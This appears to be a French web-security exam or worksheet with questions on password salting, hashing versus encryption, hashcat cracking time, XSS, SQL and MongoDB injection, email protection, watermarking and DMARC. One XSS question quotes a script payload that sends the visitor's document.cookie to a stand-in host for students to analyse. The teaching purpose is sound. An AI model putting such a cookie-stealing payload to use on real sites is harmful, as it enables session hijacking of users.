Question M-183

# Authentification :

1. A part une société de télécommunication, qu’est-ce que le ‘salt’ ajouté à un mot de passe et à quoi il sert ? Le sel est une chaîne de caractère aléatoire ajoutée à un mot de passe pour les améliorer. Cela rend unique le mot de passe et plus sûr.
2. Donner 1 exemple de mot de passe :
   1. Cracké instantanément ->
   2. Cracké en quelque minutes / heures ->
   3. Cracké en plusieurs années ->
3. Un mot de passe peut être hashé ou crypté. Quelle est la différence et comment peut-on dans les deux cas récupérer le mot de passe initial si cela est possible ?
4. Démontrez mathématiquement qu’un mot de passe composé de majuscules, minuscules, chiffres ainsi que les caractères spéciaux # ;! Et d’une longueur de 12 symboles ne sera cassé qu’après plusieurs années avec une architecture multi-gpu (4x) et « ocl-hashcat-plus » pouvant tester 20'000 mots de passe à la seconde

# Scripting :

1. Que veut dire l’acronyme XSS (anglais/français) et qu’est-ce que cela implique pour un utilisateur qui se dirigerait sur un site avec une telle faille ?
2. Comment peut-on se protéger d’une faille XSS en PHP (et pourquoi un header http « X-XSS-Protection : 1 » ne serait pas suffisant) ?
3. Est-ce qu’une faille XSS pourrait amener un hacker à obtenir un login / mot de passe (hashé ou pas) et si oui, comment ?
4. Qu’est-ce qui se passe si je soumets ce contenu dans un site non protégé contre les failles XSS et qu’un utilisateur accède à la page qui présente ce contenu ?  
   <script language=etmlscript>console.log(« you have been hacked by Narut0 ») ; window.localtion.href=« https://spoof.cookie.com?data= »+document.cookie ;</script>

# Injection SQL :

1. Est-ce qu’un site utilisant Mongodb est sensible à une injection SQL ou similaire et si oui, pourquoi ?
2. Avec quel contenu (texte) pouvez-vous tester un site sur sa vulnérabilité en injection SQL simple ?
3. Peut-on modifier le contenu d’une base de données avec une injection SQL et si oui, avec quel contenu envoyé au serveur ?
4. Comment faut-il configurer un site en PHP et/ou son serveur MySQL afin qu’une erreur de syntaxe SQL ne soit pas reportée clairement à un hacker ?

# Protection des informations :

1. Citez 3 manières de protéger une adresse mail affichée sur un site internet en expliquant leur force et faiblesse
2. Comment peut-on cacher un copyright dans une image afin d’être certain de savoir si quelqu’un l’a copiée sans autorisation ?
3. Quelle est la limitation d’un web crawler qui n’interprète pas le javascript dans le cadre de la constitution d’une base de données d’adresses email ?
4. Qui a intérêt à payer un service pour ajouter une signature numérique dans une image électronique ?
5. Qu’est-ce que DMARC, qu’adresse-t-il comme problématique et comment cela fonctionne-t-il ?